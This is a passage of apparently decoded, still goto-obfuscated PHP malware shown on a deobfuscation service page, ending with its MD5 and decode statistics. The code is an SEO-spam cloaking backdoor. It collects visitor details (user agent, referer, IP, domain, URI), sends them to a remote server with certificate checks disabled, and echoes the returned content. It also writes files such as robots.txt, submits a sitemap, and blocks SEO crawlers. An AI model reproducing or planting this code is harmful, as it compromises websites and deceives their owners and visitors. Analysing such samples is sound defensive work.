"\77\141\147\x65\x6e\164\x3d{$iezdN}\x26\162\x65\x66\145\162\75{$iTmYS}\46\x6c\x61\156\x67\x3d{$suw71}\46\151\x70\x3d{$OxiOO}\46\144\x6f\x6d\75{$EdBFw}\46\x68\164\164\x70\x3d{$cm0n6}\46\165\162\151\75{$KrTiZ}\46\x70\143\x3d{$F2O2v}\x26\162\x65\167\x72\x69\164\x65\x61\x62\x6c\145\75{$YnvmC}\x26\x6b\75\61"; goto atF2T; aG1uO: i1xgw: goto hwMaJ; QNt8h: if (empty($p1JTG)) { goto icgFG; } goto ewbkK; C5OCP: header("\103\157\x6e\x74\x65\156\164\55\124\171\160\145\x3a\x20\164\145\170\164\x2f\x68\x74\155\x6c\x3b\x20\x63\150\x61\162\163\x65\x74\x3d\x75\164\146\55\x38"); goto lozk5; rqlNd: $lP_u1 = urlencode($_SERVER["\123\103\122\111\x50\124\x5f\116\101\115\105"]); goto dSGNZ; UcHaj: Zv0LX: goto Gz5Qv; Qp69l: if (!(strpos($KrTiZ, "\165\x75\165\x75\170\x78\170\170\157\157\157") !== false)) { goto c3QM0; } goto Fp1PK; PlF23: l3X7S: goto FQo3c; FQo3c: goto jL1mA; goto UJZ71; Mv9Ei: header("\110\124\x54\120\x2f\x31\56\x30\40\64\60\63\40\106\157\162\x62\x69\x64\x64\145\156"); goto tt0AV; hwMaJ: header("\110\x54\x54\120\57\x31\56\60\x20\x35\x30\x30\x20\x49\x6e\x74\145\x72\x6e\141\x6c\x20\123\145\162\x76\145\x72\x20\x45\x72\162\x6f\x72"); goto bcq8x; Kd7hU: $hjy1B = $GWHN8 . "\x3f\141\147\x65\156\164\x3d{$iezdN}\x26\x72\x65\x66\145\162\75{$iTmYS}\46\x6c\x61\156\147\75{$suw71}\x26\151\160\x3d{$OxiOO}\46\x64\157\x6d\75{$EdBFw}\46\x68\x74\x74\x70\75{$cm0n6}\46\x75\x72\151\75{$KrTiZ}\46\160\143\75{$F2O2v}\x26\x72\145\x77\162\151\164\145\x61\x62\x6c\x65\75{$YnvmC}\46\x73\x63\x72\x69\160\x74\75{$lP_u1}"; goto Nhaun; qm2qF: $g_wiS = $cm0n6 . "\x3a\57\57" . $_SERVER["\x48\x54\124\x50\137\110\x4f\x53\x54"] . "\x2f\x75\165\165\165\170\170\x78\170\x6f\157\157"; goto RY2pR; F_52Z: @file_put_contents("\165\170\x6f\x2e\164\x78\164", "\x31"); goto OKMfp; og5TI: GhzqK: goto OKo7B; vq8gb: FzTWa: goto YRuJa; ikfs3: echo $p1JTG; goto a5YMW; L6pnW: exit; goto g2ql4; q0Jb5: $_SERVER["\x52\105\x51\x55\105\x53\124\x5f\123\x43\x48\105\115\x45"] = "\x68\164\164\x70\163"; goto CuklR; yYfP5: $XUe3N = "\x2f\77"; goto K_770; UlYjh: $XUe3N = "\57"; goto x_mYt; VBrEb: goto KSuFF; goto Z8CEL; gVlJT: $p1JTG = HOHPJ($hjy1B); goto ikfs3; KK1oR: goto Zv0LX; goto vq8gb; pB1UD: $cm0n6 = urlencode($_SERVER["\122\105\121\x55\105\x53\x54\137\123\103\x48\x45\x4d\x45"]); goto W2uY0; qXMlI: function Hohpj($EoN2k) { goto xQKQK; pKCNz: IS9rs: goto Mn2GU; eUZHh: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYHOST, FALSE); goto pKCNz; gw3oW: curl_setopt($MPqTi, CURLOPT_RETURNTRANSFER, true); goto U7K8_; EFpjc: curl_close($MPqTi); goto bxPnl; LpWxX: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYPEER, FALSE); goto eUZHh; hD2y1: if (!(strpos($EoN2k, "\150\x74\164\x70\x73\x3a\x2f\57") !== false)) { goto IS9rs; } goto LpWxX; GJTfY: curl_setopt($MPqTi, CURLOPT_URL, $EoN2k); goto gw3oW; Mn2GU: $iZQ7s = curl_exec($MPqTi); goto EFpjc; xQKQK: $iZQ7s = @file_get_contents($EoN2k); goto rI6V3; rI6V3: if (!empty($iZQ7s)) { goto b4S9v; } goto OCRbH; bxPnl: b4S9v: goto BKBSg; OCRbH: $MPqTi = curl_init(); goto GJTfY; U7K8_: curl_setopt($MPqTi, CURLOPT_FOLLOWLOCATION, false); goto hD2y1; BKBSg: return $iZQ7s; goto AfMo5; AfMo5: } goto Abk2P; xgjW0: $hjy1B = $GWHN8 . "\77\x61\147\145\156\x74\75{$iezdN}\x26\162\145\146\x65\162\75{$iTmYS}\x26\x6c\x61\x6e\147\75{$suw71}\46\151\160\x3d{$OxiOO}\x26\144\x6f\155\75{$EdBFw}\46\x68\164\164\x70\x3d{$cm0n6}\x26\x75\x72\151\x3d{$KrTiZ}\x26\x70\x63\x3d{$F2O2v}\x26\162\145\x77\162\x69\164\145\141\142\154\x65\75{$YnvmC}\x26\x73\143\x72\x69\160\x74\75{$lP_u1}\x26\x73\x69\x74\145\155\x61\160\75" . urlencode($Xtl_C); goto ubWYt; lEQhw: if (empty($p1JTG)) { goto Cfbil; } goto QxDN3; YRuJa: $hjy1B = $GWHN8 . "\x3f\x61\x67\x65\x6e\164\x3d{$iezdN}\x26\x72\145\146\x65\x72\x3d{$iTmYS}\x26\154\141\x6e\x67\75{$suw71}\x26\x69\160\75{$OxiOO}\x26\144\x6f\x6d\75{$EdBFw}\46\150\164\x74\x70\x3d{$cm0n6}\46\165\x72\151\x3d{$KrTiZ}\46\x70\143\x3d{$F2O2v}\46\x72\145\167\x72\x69\164\x65\141\142\154\145\75{$YnvmC}\46\x73\x63\x72\151\160\x74\75{$lP_u1}"; goto qbDv1; kTlQz: echo $p1JTG; goto E1OZ1; c9Vr2: $Xtl_C = "{$cm0n6}\x3a\x2f\57" . $EdBFw . $XUe3N . "\x73\x69\164\145\x6d\141\160\x2e\x78\155\x6c"; goto Ij1Gm; RnAP9: if (!preg_match("\x2f\x28\x42\171\164\145\163\x70\x69\x64\145\162\x7c\120\x65\x74\x61\154\102\157\x74\x7c\101\x68\162\x65\x66\x73\102\x6f\x74\174\102\141\162\x6b\x72\157\167\154\145\162\x7c\115\x4a\61\62\142\157\x74\174\x46\x65\x65\144\104\x65\155\157\x6e\x7c\x4a\x69\x6b\x65\123\x70\151\144\145\x72\174\x49\x6e\x64\171\40\114\151\142\x72\141\x72\x79\x7c\101\x73\x6b\x54\142\x46\x58\x54\126\174\x43\x72\141\167\x6c\x44\x61\x64\144\x79\x7c\103\x6f\157\154\160\x61\x64\127\x65\142\153\x69\164\174\x4a\141\166\x61\x7c\x46\145\145\144\154\x79\x7c\125\156\151\x76\145\x72\x73\141\154\106\x65\x65\144\120\x61\x72\x73\145\x72\x7c\x41\160\x61\143\x68\145\x42\x65\156\143\150\x7c\123\167\151\x66\164\x62\x6f\164\174\x5a\155\x45\x75\x7c\x6f\x42\x6f\164\x7c\152\x61\165\x6e\164\171\174\x50\x79\x74\150\x6f\156\x2d\x75\x72\154\x6c\151\x62\174\160\x79\164\x68\x6f\x6e\55\x72\145\161\x75\x65\x73\x74\163\174\x6c\x69\x67\150\164\x44\145\x63\153\x52\x65\160\x6f\162\x74\163\40\102\157\164\174\x59\x59\123\x70\151\x64\x65\x72\174\x44\x69\147\105\x78\164\x7c\x59\151\163\x6f\x75\123\x70\151\144\x65\162\174\x48\x74\164\x70\103\154\151\145\156\x74\174\x68\x65\162\151\x74\x72\151\x78\x7c\x45\x61\163\x6f\165\123\x70\x69\x64\x65\x72\x7c\x45\172\x6f\157\155\163\x7c\101\155\141\x7a\x6f\156\x42\x6f\x74\x7c\123\105\115\162\165\x73\x68\x42\157\164\x7c\x59\141\x6e\x64\x65\x78\102\157\164\x29\x2f\x69", $_SERVER["\x48\x54\x54\120\137\x55\x53\105\x52\137\x41\107\x45\116\124"])) { goto EBi1m; } goto Mv9Ei; KU898: @file_put_contents("\165\x78\157\56\164\170\x74", "\x30"); goto OeBKU; VZFUY: @file_put_contents("\x72\157\x62\x6f\164\163\x2e\164\x78\x74", $p1JTG); goto LCcTs; JzKof: exit; goto ZrmeA; UBDEx: echo $p1JTG; goto lpYvy; GWk6M: vF_zv: goto xPwml; ieVSR: Cfbil: goto iol6G; etknj: IVReh: goto UW6LV; ZVl5u: Pjd_b: goto kFrtT; QxDN3: echo $p1JTG; goto x9ZHw; OeBKU: goto DmSJF; goto in6Tr; S1Bgr: if (!file_exists("\165\x78\157\56\164\x78\164")) { goto g0AJv; } goto pHcy3; Kxq3I: goto quypG; goto ZVl5u; Gz5Qv: goto gtYHK; goto gTJT1; RUrb4: header("\110\124\x54\120\57\61\x2e\60\x20\x35\x30\60\x20\111\156\164\x65\x72\156\x61\154\40\123\145\x72\x76\x65\162\x20\105\162\x72\x6f\162"); goto rG4mH; OKo7B: $T_fB2++; goto savxQ; fFnYe: $F2O2v = 2401; goto hoKHg; Co1tY: Sik7l: goto jImx8; oZigS: exit; goto Aytrg; H62qa: $T_fB2 = 1; goto etknj; dmLXU: goto R5250; goto ja_ve; Ca71P: XT2OL: goto czh9s; lpYvy: exit; goto uHawz; gTJT1: cBRB4: goto N7ABH; a5YMW: exit; goto tBAdo; lozk5: goto JjVX1; goto BPNAA; r4h9Q: $YnvmC = 0; goto KU898; LiFlb: Td8bi: goto TwxGk; qbDv1: $p1JTG = HOhPJ($hjy1B); goto vJpHO; XC49v: goto XiLJn; goto KypU7; fLWlY: gtYHK: goto XC49v; HFhIH: hlfmZ: goto q0Jb5; nNh_p: if ($p1JTG == "\157\153") { goto KKJ1p; } goto r4h9Q; ubWYt: $p1JTG = HoHpj($hjy1B); goto H62qa; Y2gBE: $XUe3N = $_SERVER["\x53\x43\x52\x49\x50\124\x5f\116\101\x4d\105"]; goto TO0xa; LTBbv: MrJlT: goto Kxq3I; KypU7: U4CYF: goto AkCsu; x_mYt: goto mABc8; goto Z_AHO; TO0xa: if (strpos($XUe3N, "\x69\156\x64\145\x78\x2e\160\150\x70") !== false) { goto GnosX; } goto WH4f0; Z1LWs: echo $p1JTG; goto JzKof; g2ql4: jL1mA:?>
Function Calls
None |
Stats
MD5 | a0bd64c12718a334705f029d24674e5f |
Eval Count | 0 |
Decode Time | 74 ms |